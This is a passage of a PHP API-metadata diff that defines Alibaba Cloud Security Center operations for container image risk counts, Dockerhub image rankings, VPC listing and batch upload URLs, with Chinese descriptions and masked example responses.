'name' => 'ImageTag', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像标签。', + 'type' => 'string', + 'required' => false, + 'example' => 'c958b80f-prd_default-9bb0****', + ], + ], + [ + 'name' => 'ImageDigest', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像摘要的SHA256值。', + 'type' => 'string', + 'required' => false, + 'example' => 'a7978d51f5eddf7612ab15ae46bd4b4257bf59da77c2aafc9d9d8ab41bb3****', + ], + ], + [ + 'name' => 'Dealed', + 'in' => 'query', + 'schema' => [ + 'description' => '是否处理。取值：'."\n" + .'- **Y**： 已处理 '."\n" + .'- **N**：未处理 '."\n" + .'- **A**：所有', + 'type' => 'string', + 'required' => false, + 'example' => 'N', + ], + ], + [ + 'name' => 'ImageUuid', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '325bfa067ae6c678e59e8a1b34cc****', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像安全扫描的集群ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cdbbe7aa56cbf4b8f830f83718d26****', + ], + ], + [ + 'name' => 'ScanRange', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '扫描范围。', + 'type' => 'array', + 'items' => [ + 'description' => '扫描范围。取值：'."\n" + ."\n" + .'- **image**：镜像。'."\n" + .'- **container**：容器。', + 'type' => 'string', + 'required' => false, + 'example' => 'image', + ], + 'required' => false, + 'maxItems' => 2, + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '镜像安全扫描的实例ID。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像安全扫描的实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => '07a1300d-2198-4d0d-b1b3-c8da205e****', + ], + 'required' => false, + 'maxItems' => 1000, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'C699E4E4-F2F4-58FC-A949-457FFE59****', + ], + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'ImageBaselineCount' => [ + 'description' => '当前资产中存在的镜像基线风险点数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ImageMaliciousFileCount' => [ + 'description' => '当前页中包含的镜像恶意样本数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ImageScaVulCount' => [ + 'description' => '当前页显示的镜像应用漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ImageCveVulCount' => [ + 'description' => '当前页中包含的镜像系统漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C699E4E4-F2F4-58FC-A949-457FFE59****\\",\\n \\"Data\\": {\\n \\"ImageBaselineCount\\": 0,\\n \\"ImageMaliciousFileCount\\": 0,\\n \\"ImageScaVulCount\\": 0,\\n \\"ImageCveVulCount\\": 0\\n }\\n}","type":"json"}]', + 'title' => '获取镜像安全事件数量', + ], + 'GetDockerhubImageRiskRankInfo' => [ + 'summary' => '查询镜像各维度排行。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Types', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '需要统计的镜像维度类型。', + 'type' => 'array', + 'items' => [ + 'description' => '需要统计的镜像维度类型。'."\n" + .'- **vulAsap**：统计漏洞的扫描情况'."\n" + .'- **baseline**： 统计基线的扫描情况', + 'type' => 'string', + 'required' => false, + 'example' => 'baseline', + ], + 'required' => false, + 'maxItems' => 5, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '30CBF632-109F-596F-97F2-451C8B2A****', + ], + 'RiskRankInfo' => [ + 'description' => '风险信息。', + 'type' => 'object', + 'properties' => [ + 'VulAsap' => [ + 'description' => '高危漏洞的风险信息。', + 'type' => 'array', + 'items' => [ + 'description' => '高危漏洞的风险信息。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '该条记录的识别码。', + 'type' => 'string', + 'example' => '6636c286-8063-4c97-8508-6aaf16a8****', + ], + 'ImageSize' => [ + 'description' => '镜像大小。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1024', + ], + 'Digest' => [ + 'description' => '镜像Digest值。', + 'type' => 'string', + 'example' => 'd97c1348e56eb52902888e6e5673623321b1f19ac45ed532c3114dc0f989****', + ], + 'HcCount' => [ + 'description' => '镜像仓风险数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Tag' => [ + 'description' => '镜像的标签。', + 'type' => 'string', + 'example' => 'app:app01-ubuntu', + ], + 'VulCount' => [ + 'description' => '漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ImageId' => [ + 'description' => '镜像ID。', + 'type' => 'string', + 'example' => 'fabe4203a89765a2c99554040bda51eac7885a18216f4ac0be82710cff60****', + ], + 'RepoName' => [ + 'description' => '镜像仓库的名称。'."\n", + 'type' => 'string', + 'example' => 'lkl-zf-ss-ordapi-labs', + ], + 'RepoNamespace' => [ + 'description' => '镜像仓库的命名空间。', + 'type' => 'string', + 'example' => 'namespace-01', + ], + 'RiskLevelDetail' => [ + 'description' => '所有宿主机、镜像、容器的风险统计信息。', + 'type' => 'string', + 'example' => '{\\"account\\":0,\\"agentlessAll\\":0,\\"agentlessBaseline\\":0,\\"agentlessMalicious\\":0,\\"agentlessSensitiveFile\\":0,\\"agentlessVulCve\\":0,\\"agentlessVulSca\\":0,\\"agentlessVulSys\\":0,\\"appNum\\":0,\\"asapVulCount\\":0,\\"baselineHigh\\":0,\\"baselineLow\\":0,\\"baselineMedium\\":0,\\"baselineNum\\":0,\\"cmsNum\\":0,\\"containerAsap\\":0,\\"containerLater\\":0,\\"containerNntf\\":0,\\"containerRemind\\":0,\\"containerSerious\\":0,\\"containerSuspicious\\":0,\\"cveNum\\":513,\\"emgNum\\":0,\\"health\\":0,\\"imageBaselineHigh\\":0,\\"imageBaselineLow\\":0,\\"imageBaselineMedium\\":0,\\"imageBaselineNum\\":0,\\"imageMaliciousFileRemind\\":0,\\"imageMaliciousFileSerious\\":0,\\"imageMaliciousFileSuspicious\\":0,\\"imageVulAsap\\":3,\\"imageVulLater\\":182,\\"imageVulNntf\\":328,\\"laterVulCount\\":0,\\"newSuspicious\\":0,\\"nntfVulCount\\":0,\\"remindNum\\":0,\\"scaNum\\":0,\\"seriousNum\\":0,\\"suspNum\\":0,\\"suspicious\\":0,\\"sysNum\\":0,\\"trojan\\":0,\\"uuid\\":\\"44ffb29d6f66d8509598bcdfa660a21d\\",\\"vul\\":513,\\"weakPWNum\\":0}', + ], + ], + ], + ], + 'Baseline' => [ + 'description' => '基线风险信息。', + 'type' => 'array', + 'items' => [ + 'description' => '基线风险信息结构体。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '该条记录的识别码。', + 'type' => 'string', + 'example' => '5583aa03-922e-4709-a888-389f2489****', + ], + 'ImageSize' => [ + 'description' => '镜像大小。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1024', + ], + 'Digest' => [ + 'description' => '镜像Digest值。', + 'type' => 'string', + 'example' => 'f28ecca63bfaf22ead4b28b63d752a21e4d2c1de90b8549fbde880d619f3****', + ], + 'HcCount' => [ + 'description' => '镜像仓基线风险数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Tag' => [ + 'description' => '镜像标签。', + 'type' => 'string', + 'example' => 'machineResource', + ], + 'VulCount' => [ + 'description' => '检测出的漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ImageId' => [ + 'description' => '镜像的ID。', + 'type' => 'string', + 'example' => '7c5ad02865aef575387a05bb3c81b27e0d8ed1f2e3f722ea05523b72882f****', + ], + 'RepoName' => [ + 'description' => '容器镜像仓库的名称。', + 'type' => 'string', + 'example' => 'glz123', + ], + 'RepoNamespace' => [ + 'description' => '仓库命名空间。', + 'type' => 'string', + 'example' => 'namespace-01'."\n", + ], + 'RiskLevelDetail' => [ + 'description' => '所有宿主机、镜像、容器的风险统计信息。', + 'type' => 'string', + 'example' => '{\\"account\\":0,\\"agentlessAll\\":0,\\"agentlessBaseline\\":0,\\"agentlessMalicious\\":0,\\"agentlessSensitiveFile\\":0,\\"agentlessVulCve\\":0,\\"agentlessVulSca\\":0,\\"agentlessVulSys\\":0,\\"appNum\\":0,\\"asapVulCount\\":0,\\"baselineHigh\\":0,\\"baselineLow\\":0,\\"baselineMedium\\":0,\\"baselineNum\\":0,\\"cmsNum\\":0,\\"containerAsap\\":0,\\"containerLater\\":0,\\"containerNntf\\":0,\\"containerRemind\\":0,\\"containerSerious\\":0,\\"containerSuspicious\\":0,\\"cveNum\\":0,\\"emgNum\\":0,\\"health\\":0,\\"imageBaselineHigh\\":1,\\"imageBaselineLow\\":0,\\"imageBaselineMedium\\":0,\\"imageBaselineNum\\":1,\\"imageMaliciousFileRemind\\":0,\\"imageMaliciousFileSerious\\":0,\\"imageMaliciousFileSuspicious\\":0,\\"imageVulAsap\\":0,\\"imageVulLater\\":0,\\"imageVulNntf\\":0,\\"laterVulCount\\":0,\\"newSuspicious\\":0,\\"nntfVulCount\\":0,\\"remindNum\\":0,\\"scaNum\\":0,\\"seriousNum\\":0,\\"suspNum\\":0,\\"suspicious\\":0,\\"sysNum\\":0,\\"trojan\\":0,\\"uuid\\":\\"009635bf00c0585e3122ab92f5449919\\",\\"vul\\":0,\\"weakPWNum\\":0}', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"30CBF632-109F-596F-97F2-451C8B2A****\\",\\n \\"RiskRankInfo\\": {\\n \\"VulAsap\\": [\\n {\\n \\"Uuid\\": \\"6636c286-8063-4c97-8508-6aaf16a8****\\",\\n \\"ImageSize\\": 1024,\\n \\"Digest\\": \\"d97c1348e56eb52902888e6e5673623321b1f19ac45ed532c3114dc0f989****\\",\\n \\"HcCount\\": 0,\\n \\"Tag\\": \\"app:app01-ubuntu\\",\\n \\"VulCount\\": 1,\\n \\"ImageId\\": \\"fabe4203a89765a2c99554040bda51eac7885a18216f4ac0be82710cff60****\\",\\n \\"RepoName\\": \\"lkl-zf-ss-ordapi-labs\\",\\n \\"RepoNamespace\\": \\"namespace-01\\",\\n \\"RiskLevelDetail\\": \\"{\\\\\\\\\\\\\\"account\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessAll\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessBaseline\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessMalicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessSensitiveFile\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessVulCve\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessVulSca\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessVulSys\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"appNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"asapVulCount\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineHigh\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineLow\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineMedium\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"cmsNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerAsap\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerLater\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerNntf\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerRemind\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerSerious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerSuspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"cveNum\\\\\\\\\\\\\\":513,\\\\\\\\\\\\\\"emgNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"health\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageBaselineHigh\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageBaselineLow\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageBaselineMedium\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageBaselineNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageMaliciousFileRemind\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageMaliciousFileSerious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageMaliciousFileSuspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageVulAsap\\\\\\\\\\\\\\":3,\\\\\\\\\\\\\\"imageVulLater\\\\\\\\\\\\\\":182,\\\\\\\\\\\\\\"imageVulNntf\\\\\\\\\\\\\\":328,\\\\\\\\\\\\\\"laterVulCount\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"newSuspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"nntfVulCount\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"remindNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"scaNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"seriousNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"suspNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"suspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"sysNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"trojan\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"uuid\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"44ffb29d6f66d8509598bcdfa660a21d\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"vul\\\\\\\\\\\\\\":513,\\\\\\\\\\\\\\"weakPWNum\\\\\\\\\\\\\\":0}\\"\\n }\\n ],\\n \\"Baseline\\": [\\n {\\n \\"Uuid\\": \\"5583aa03-922e-4709-a888-389f2489****\\",\\n \\"ImageSize\\": 1024,\\n \\"Digest\\": \\"f28ecca63bfaf22ead4b28b63d752a21e4d2c1de90b8549fbde880d619f3****\\",\\n \\"HcCount\\": 1,\\n \\"Tag\\": \\"machineResource\\",\\n \\"VulCount\\": 1,\\n \\"ImageId\\": \\"7c5ad02865aef575387a05bb3c81b27e0d8ed1f2e3f722ea05523b72882f****\\",\\n \\"RepoName\\": \\"glz123\\",\\n \\"RepoNamespace\\": \\"namespace-01\\\\n\\",\\n \\"RiskLevelDetail\\": \\"{\\\\\\\\\\\\\\"account\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessAll\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessBaseline\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessMalicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessSensitiveFile\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessVulCve\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessVulSca\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessVulSys\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"appNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"asapVulCount\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineHigh\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineLow\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineMedium\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"cmsNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerAsap\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerLater\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerNntf\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerRemind\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerSerious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerSuspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"cveNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"emgNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"health\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageBaselineHigh\\\\\\\\\\\\\\":1,\\\\\\\\\\\\\\"imageBaselineLow\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageBaselineMedium\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageBaselineNum\\\\\\\\\\\\\\":1,\\\\\\\\\\\\\\"imageMaliciousFileRemind\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageMaliciousFileSerious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageMaliciousFileSuspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageVulAsap\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageVulLater\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageVulNntf\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"laterVulCount\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"newSuspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"nntfVulCount\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"remindNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"scaNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"seriousNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"suspNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"suspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"sysNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"trojan\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"uuid\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"009635bf00c0585e3122ab92f5449919\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"vul\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"weakPWNum\\\\\\\\\\\\\\":0}\\"\\n }\\n ]\\n }\\n}","type":"json"}]', + 'title' => '查询镜像各维度排行', + ], + 'ListDockerhubImage' => [ + 'summary' => '查询Dockerhub官方镜像风险概览。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + ], + 'parameters' => [ + [ + 'name' => 'Query', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像查询条件，支持`[namespace/]repoName[:version]`的形式查询，`[]`内查询条件可选。', + 'type' => 'string', + 'required' => true, + 'example' => 'python:3.9', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', + ], + 'ImageList' => [ + 'description' => '镜像信息列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '镜像UUID。', + 'type' => 'string', + 'example' => 'a9b50827-801f-414c-900d-c4a223d*****', + ], + 'ImageSize' => [ + 'description' => '镜像大小，单位：字节。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1024', + ], + 'Digest' => [ + 'description' => '镜像digest值。', + 'type' => 'string', + 'example' => '5ffded22661b0f1e9c7fcccb0d488cff*****f8c52a819bd7179ef3e4a041988', + ], + 'HcCount' => [ + 'description' => '基线风险数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Tag' => [ + 'description' => '镜像标签。', + 'type' => 'string', + 'example' => '3.9', + ], + 'VulCount' => [ + 'description' => '检测出的漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ImageId' => [ + 'description' => '镜像ID。', + 'type' => 'string', + 'example' => 'd943de1933650d74b415d3ae8b37c064a0e0c700574d7a949c26db3291******', + ], + 'RepoName' => [ + 'description' => '镜像仓库名称。', + 'type' => 'string', + 'example' => 'python', + ], + 'RepoNamespace' => [ + 'description' => '镜像命名空间。', + 'type' => 'string', + 'example' => 'python', + ], + 'RiskLevelDetail' => [ + 'description' => '镜像的风险详情。', + 'type' => 'string', + 'example' => '{"vul":0}', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"ImageList\\": [\\n {\\n \\"Uuid\\": \\"a9b50827-801f-414c-900d-c4a223d*****\\",\\n \\"ImageSize\\": 1024,\\n \\"Digest\\": \\"5ffded22661b0f1e9c7fcccb0d488cff*****f8c52a819bd7179ef3e4a041988\\",\\n \\"HcCount\\": 0,\\n \\"Tag\\": \\"3.9\\",\\n \\"VulCount\\": 0,\\n \\"ImageId\\": \\"d943de1933650d74b415d3ae8b37c064a0e0c700574d7a949c26db3291******\\",\\n \\"RepoName\\": \\"python\\",\\n \\"RepoNamespace\\": \\"python\\",\\n \\"RiskLevelDetail\\": \\"{\\\\\\"vul\\\\\\":0}\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询dockerhub镜像', + ], + 'ListUserVpc' => [ + 'summary' => '使用云安全中心，容器资产，三方镜像仓接入功能，获取所选Region用户的VPC数据。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + ], + 'parameters' => [ + [ + 'name' => 'K8sRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '地域。', + 'type' => 'string', + 'required' => true, + 'example' => 'cn-hangzhou', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'A3D7C47D-3F11-57BB-90E8-E5C20C619F37', + ], + 'UserVpcInfos' => [ + 'description' => 'VPC信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => 'VPC信息。', + 'type' => 'object', + 'properties' => [ + 'CreationTime' => [ + 'description' => '创建时间。', + 'type' => 'string', + 'example' => '2023-03-30T07:16:02Z', + ], + 'VpcName' => [ + 'description' => 'VPC的名称。', + 'type' => 'string', + 'example' => 'Vpc-1', + ], + 'Status' => [ + 'description' => 'VPC的状态。取值：'."\n" + ."\n" + .'- **Pending**：配置中'."\n" + .'- **Available**：可用', + 'type' => 'string', + 'example' => 'Available', + ], + 'VpcId' => [ + 'description' => 'VPC的ID。', + 'type' => 'string', + 'example' => 'vpc-bp1qpo0kug3a20qqe****', + ], + 'VRouterId' => [ + 'description' => 'VPC路由器的ID。', + 'type' => 'string', + 'example' => 'vrt-bp1jcg5cmxjbl9xgc****', + ], + 'CidrBlock' => [ + 'description' => 'VPC的IPv4网段。', + 'type' => 'string', + 'example' => '192.168.XXX.XXX/16', + ], + 'Description' => [ + 'description' => 'VPC的描述信息。', + 'type' => 'string', + 'example' => 'This is my VPC.', + ], + 'Default' => [ + 'description' => '是否是该地域的默认VPC。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：不是', + 'type' => 'boolean', + 'example' => 'true', + ], + 'ModifyTime' => [ + 'description' => '修改时间。', + 'type' => 'string', + 'example' => '2023-03-30T07:16:02Z', + ], + 'RegionId' => [ + 'description' => '地域。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A3D7C47D-3F11-57BB-90E8-E5C20C619F37\\",\\n \\"UserVpcInfos\\": [\\n {\\n \\"CreationTime\\": \\"2023-03-30T07:16:02Z\\",\\n \\"VpcName\\": \\"Vpc-1\\",\\n \\"Status\\": \\"Available\\",\\n \\"VpcId\\": \\"vpc-bp1qpo0kug3a20qqe****\\",\\n \\"VRouterId\\": \\"vrt-bp1jcg5cmxjbl9xgc****\\",\\n \\"CidrBlock\\": \\"192.168.XXX.XXX/16\\",\\n \\"Description\\": \\"This is my VPC.\\",\\n \\"Default\\": true,\\n \\"ModifyTime\\": \\"2023-03-30T07:16:02Z\\",\\n \\"RegionId\\": \\"cn-hangzhou\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '按Region获取用户的VPC数据', + ], + 'CreateBatchUploadUrl' => [ + 'summary' => '批量获取文件上传参数。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '119394', + 'abilityTreeNodes' => [ + 'FEATUREsasNPORLE', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Md5List', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '文件MD5列表。', + 'type' => 'array', + 'items' => [ + 'description' => '文件MD5。', + 'type' => 'string', + 'required' => false, + 'example' => 'a479262288e03f6a90dc282ea3******', + ], + 'required' => true, + 'maxItems' => 1000, + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '文件类型。取值：'."\n" + ."\n" + .'- **0**：未知文件类型', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'DA62490B-7883-5EB4-8601-F2D1D9******', + ], + 'UploadUrlList' => [ + 'description' => '文件上传参数。', + 'type' => 'array', + 'items' => [ + 'description' => '文件上传参数。', + 'type' => 'object', + 'properties' => [ + 'PublicUrl' => [ + 'description' => '文件上传地址的公网EndPoint。', + 'type' => 'string', + 'example' => 'http://example.com', + ], + 'InternalUrl' => [ + 'description' => '文件上传地址的内网EndPoint。', + 'type' => 'string', + 'example' => 'http://example.com', + ], + 'Expire' => [ + 'description' => '上传参数过期的时间戳，单位为毫秒。', + 'type' => 'string', + 'example' => '1658562101370', + ], + 'Context' => [ + 'description' => '上传文件的相关配置。', + 'type' => 'object', + 'properties' => [ + 'AccessId' => [ + 'description' => '文件存储位置的AccessKey。', + 'type' => 'string', + 'example' => 'yourAccessKeyID', + ], + 'Policy' => [ + 'description' => '文件上传的限制Policy，如文件大小。', + 'type' => 'string', + 'example' => 'eyJleHBpcmF0aW9uIjoiMjAyMi0wNy0yM1QxMDo1ODoxMC****', + ], + 'Signature' => [ + 'description' => '文件上传的签名。', + 'type' => 'string', + 'example' => 'wDhPgVdnY/bkKFYcYFl+4crl****', + ], + 'OssKey' => [ + 'description' => '文件在OSS Bucket中的存储key。', + 'type' => 'string', + 'example' => '1/2022/06/23/15/41/16559701077444693a0c6-33b2-4cc2-a99f-9f38b8b8****', + ], + ], + ], + 'FileExist' => [ + 'description' => '文件是否存在。取值：'."\n" + ."\n" + .'- **true**：文件已存在，不需要上传。'."\n" + .'- **false**：文件不存在，需要上传。', + 'type' => 'boolean', + 'example' => 'false', + ], + 'Md5' => [ + 'description' => '文件MD5。', + 'type' => 'string', + 